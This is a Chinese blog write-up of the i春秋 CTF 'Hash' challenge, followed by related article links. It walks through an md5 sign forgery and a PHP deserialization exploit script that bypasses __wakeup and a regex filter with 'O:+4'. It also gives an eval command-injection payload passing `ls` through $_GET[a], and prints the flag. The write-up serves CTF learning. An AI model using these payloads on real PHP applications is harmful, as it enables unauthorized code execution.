i春秋CTF Hash

结束语

打开题目，点击进入链接

有一个提示，要求改变key的值和哈希值，查看源代码

提示hash=md5(hash=md5(hash=md5(sign.$key);the length of $sign is 8
解密key=123对应的哈希值：kkkkkk01123
所以sign=‘kkkkkk01’
然后就好说了，改变key=321，md5加密’kkkkkk01321’ 传入

提示下一步，访问Gu3ss_m3_h2h2.php

好家伙。代码审计一波
demo类里有一些魔法函数，联想到反序列化漏洞
get传入参数var，先base_64解码，然后preg_match正则过滤，
/[oc]:\d+:/i \d 是匹配一个数字，+是一个或者多个
最后反序列化var，还提示 the secret is in the f15g_1s_here.php

反序列化漏洞详解参考：
反序列化漏洞

所以我们需要传入var来访问f15g_1s_here.php这个东西：
1.修改file属性为f15g_1s_here.php，序列化对象
2.base_64编码

但是有一个问题，反序列化是会先检查有没有__wakeup()函数，如果有会先执行wakeup函数，__wakeup()函数会改变file的值，所以必须绕过__wakeup()函数
魔法函数wakeup绕过
改变步骤：
1.修改file属性为f15g_1s_here.php，序列化对象
2.改变序列化字符串的属性数目大于实际（绕过__wakeup）
2.base_64编码

再接着想，反序列化之前还有一次过滤呀~~还得绕过
正则匹配到‘O:4’就会报错，怎么绕过呢~ 把4变成+4就可以
改变步骤：
1.修改file属性为f15g_1s_here.php，序列化对象
2.改变序列化字符串的属性数目大于实际（绕过__wakeup）
3.替换‘O:4’为‘O:+4’
2.base_64编码

步骤有了，脚本实现一下~

<?php
class Demo
{private $file = 'f15g_1s_here.php';
}
$x = new Demo;
$c = serialize($x);
$c = str_replace('O:4','O:+4',$c);
$c = str_replace(':1:',':2:',$c);
$d = base64_encode($c);
echo ($d);
?>

把跑出来的var传参得到f15g_1s_here.php的源码

再看代码。。
需要get传参val；后面又有一个eval函数，addslashes对val进行了转义
又是考绕过，如果没有转义函数的话，可以构造

val = ${eval(echo `ls`;)}
#ls反引号括住

但是addslashes转义了，可以考虑把echo命令变成变量绕过

val=${eval($_GET[a])}&a=echo `ls`;

传参后得到目录文件True_F1ag_i3_Here_233.php

修改命令cat True_F1ag_i3_Here_233.php

什么都没有。。查看源码

拿到flag:flag{64402796-e35d-4fef-8432-ebdfb459a157}

知识点：
1.hash
2.反序列化
3.命令执行

结束语

熬过无人问津的日子，才有诗和远方

i春秋CTF Hash相关推荐

I春秋CTF训练营web题解（一）
I春秋CTF训练营web题解(一) (1)include ==hint:没错!就是文件包含漏洞.== 点开链接,发现通过源码可知可以提交一个path的变量,通过ctrl+f搜索allow_url_i ...
i春秋-ctf 文件上传
文章目录前言一.题目二.解题步骤 1.我的错误思路 2.正确解题姿势总结前言 CTF小白,这道题思考了很久,i春秋上现在也没write up,卡了1天了,后面在buuctf找到了题解答.通过 ...
i 春秋CTF题目百度杯 9月场再见CMS Upload 复现
今天花了点时间刷了下题目,遇到几道相对来说进阶的题目,学习一下储备一些CTF思路,这些题..脑洞有点开. 目录再见CMS 总结 Upload 绕过方法总结再见CMS 昨天刚做一道 [WEB攻防] ...
i春秋CTF训练营Rotated!解题思路及其过程。
遥想当年参加CTF大赛从一个是用别人脚本到自己写脚本的脚本小子,转眼间过去这么多年,现在重拾参加一下CTF结果最简单的题目都不会了,我不配目录 1.拿题目 2.凯撒解密 4.开始解密 5.解密成功 ...
i春秋python_i春秋CTF web题(1)
之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...
i春秋CTF ssrfme (peal函数中get命令漏洞)命令执行详细题解＋原理学习过程
前几天刚做一道命令执行的题目累的够呛,这会刷题又碰见一道,看了很多write up都不有不同的地方,而且这道题的环境和其他平台的环境也有点差异,有些wirte up 复现甚至做不出,最后自己独自去思考 ...
i春秋ctf训练营writeup-手贱的A君
导语 i春秋也是个学东西的好地方呀. 手贱的A君关键词:数据库,md5,拿着这一串莽头去md5在线解密果然不会那么简单的. 定睛一看,这md5好像是33位啊¿ 定睛两看,这怎么害有个l啊?众所周知 ...
i春秋CTF训练 Web 破译
Web 破译题目内容:破译下面的密文: TW5650Y - 0TS UZ50S S0V LZW UZ50WKW 9505KL4G 1X WVMUSL510 S001M0UWV 910VSG S0 W ...
【i春秋 CTF Crypto】2015广州强网杯致敬经典
题目内容: lrua{1uy3yj9l-yw9u-48j2-uuj8-36h03706y7u7} 字母数字对照表: a b c d e f g h i j k l m n o p q r s t u ...

i春秋CTF Hash

i春秋CTF Hash

结束语

i春秋CTF Hash相关推荐

最新文章

热门文章